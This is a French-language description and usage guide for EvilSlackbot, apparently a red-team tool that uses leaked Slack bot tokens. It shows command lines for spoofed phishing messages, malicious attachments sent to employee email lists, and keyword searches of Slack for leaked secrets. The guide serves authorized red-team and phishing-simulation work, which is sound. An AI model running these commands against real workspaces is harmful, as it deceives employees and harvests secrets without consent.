
Un framework de phishing via bot Slack pour les exercices de Red Teaming

Un framework d'attaque Slack pour mener des exercices Red Team et de phishing dans les espaces de travail Slack.
Cet outil est destiné uniquement aux professionnels de la sécurité. N'utilisez pas cet outil contre un espace de travail Slack sans autorisation explicite de test. Utilisez-le à vos propres risques.
Des milliers d'organisations utilisent Slack pour aider leurs employés à communiquer, collaborer et interagir. Beaucoup de ces espaces de travail Slack installent des applications ou des bots qui peuvent être utilisés pour automatiser différentes tâches dans Slack. Ces bots reçoivent individuellement des autorisations qui dictent les tâches qu'ils sont autorisés à demander via l'API Slack. Pour s'authentifier auprès de l'API Slack, chaque bot reçoit un jeton API qui commence par xoxb ou xoxp. Plus souvent qu'autrement, ces jetons sont divulgués quelque part. Lorsque ces jetons sont exfiltrés lors d'un exercice Red Team, il peut être pénible de les utiliser correctement. Maintenant, EvilSlackbot est là pour automatiser et rationaliser ce processus. Vous pouvez utiliser EvilSlackbot pour envoyer des messages Slack usurpés, des liens de phishing, des fichiers, et rechercher des secrets divulgués dans Slack.
En plus du red teaming, EvilSlackbot a également été développé en pensant aux simulations de phishing Slack. Pour utiliser EvilSlackbot afin de mener un exercice de phishing Slack, créez simplement un bot dans Slack, donnez à votre bot les autorisations nécessaires pour votre test prévu, et fournissez à EvilSlackbot une liste d'e-mails des employés que vous souhaitez tester avec des phish simulés (liens, fichiers, messages usurpés).
EvilSlackbot nécessite python3 et Slackclient
pip3 install slackclient
usage: EvilSlackbot.py [-h] -t TOKEN [-sP] [-m] [-s] [-a] [-f FILE] [-e EMAIL]
[-cH CHANNEL] [-eL EMAIL_LIST] [-c] [-o OUTFILE] [-cL]
options:
-h, --help show this help message and exit
Required:
-t TOKEN, --token TOKEN
Slack Oauth token
Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc
(Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token
(Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f
and -e,-eL, or -cH)
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL
Email of target
-cH CHANNEL, --channel CHANNEL
Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST
Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks
associated with your provided token.
-o OUTFILE, --outfile OUTFILE
Outfile to store search results
-cL, --channel_list List all public Slack channels
Pour utiliser cet outil, vous devez fournir un jeton xoxb ou xoxp.
Required:
-t TOKEN, --token TOKEN (Slack xoxb/xoxp token)
python3 EvilSlackbot.py -t <token>
Selon les autorisations associées à votre jeton, plusieurs attaques peuvent être menées par EvilSlackbot. EvilSlackbot vérifiera automatiquement les autorisations de votre jeton et les affichera, ainsi que toute attaque que vous pouvez effectuer avec votre jeton donné.

Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc (Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token (Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f and -e,-eL, or -cH)
Avec les bonnes autorisations de jeton, EvilSlackbot vous permet d'envoyer des messages de phishing tout en usurpant le nom du bot et sa photo. Cette attaque nécessite également soit l'adresse e-mail (-e) de la cible, une liste d'e-mails cibles (-eL), ou le nom d'un canal Slack (-cH). EvilSlackbot utilisera ces arguments pour rechercher l'ID Slack de l'utilisateur associé aux e-mails ou au nom de canal fournis. Pour automatiser votre attaque, utilisez une liste d'e-mails.
python3 EvilSlackbot.py -t <xoxb token> -sP -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -sP -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -sP -cH <Channel name>
Avec les bonnes autorisations de jeton, EvilSlackbot vous permet d'envoyer des messages de phishing contenant des liens de phishing. Ce qui rend cette attaque différente de l'attaque par usurpation est que cette méthode envoie le message en tant que bot associé à votre jeton fourni. Vous ne pourrez pas choisir le nom ou l'image du bot qui envoie votre phish. Cette attaque nécessite également soit l'adresse e-mail (-e) de la cible, une liste d'e-mails cibles (-eL), ou le nom d'un canal Slack (-cH). EvilSlackbot utilisera ces arguments pour rechercher l'ID Slack de l'utilisateur associé aux e-mails ou au nom de canal fournis. Pour automatiser votre attaque, utilisez une liste d'e-mails.
python3 EvilSlackbot.py -t <xoxb token> -m -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -m -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -m -cH <Channel name>
Avec les bonnes autorisations de jeton, EvilSlackbot vous permet de rechercher des secrets dans Slack via une recherche par mot-clé. Actuellement, cette attaque nécessite un jeton xoxp, car les jetons xoxb ne peuvent pas recevoir les autorisations nécessaires pour effectuer une recherche par mot-clé dans Slack. Utilisez l'argument -o pour écrire les résultats de la recherche dans un fichier de sortie.
python3 EvilSlackbot.py -t <xoxp token> -s -o <outfile.txt>
Avec les bonnes autorisations de jeton, EvilSlackbot vous permet d'envoyer des pièces jointes. L'attaque par pièce jointe nécessite un chemin vers le fichier (-f) que vous souhaitez envoyer. Cette attaque nécessite également soit l'adresse e-mail (-e) de la cible, une liste d'e-mails cibles (-eL), ou le nom d'un canal Slack (-cH). EvilSlackbot utilisera ces arguments pour rechercher l'ID Slack de l'utilisateur associé aux e-mails ou au nom de canal fournis. Pour automatiser votre attaque, utilisez une liste d'e-mails.
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -cH <Channel name>
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL Email of target
-cH CHANNEL, --channel CHANNEL Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks associated with your provided token.
-o OUTFILE, --outfile OUTFILE Outfile to store search results
-cL, --channel_list List all public Slack channels
Avec les bonnes autorisations, EvilSlackbot peut rechercher et lister tous les canaux publics de l'espace de travail Slack. Cela peut aider à planifier où envoyer des messages de canal. Utilisez -o pour écrire la liste dans un fichier de sortie.
python3 EvilSlackbot.py -t <xoxb token> -cL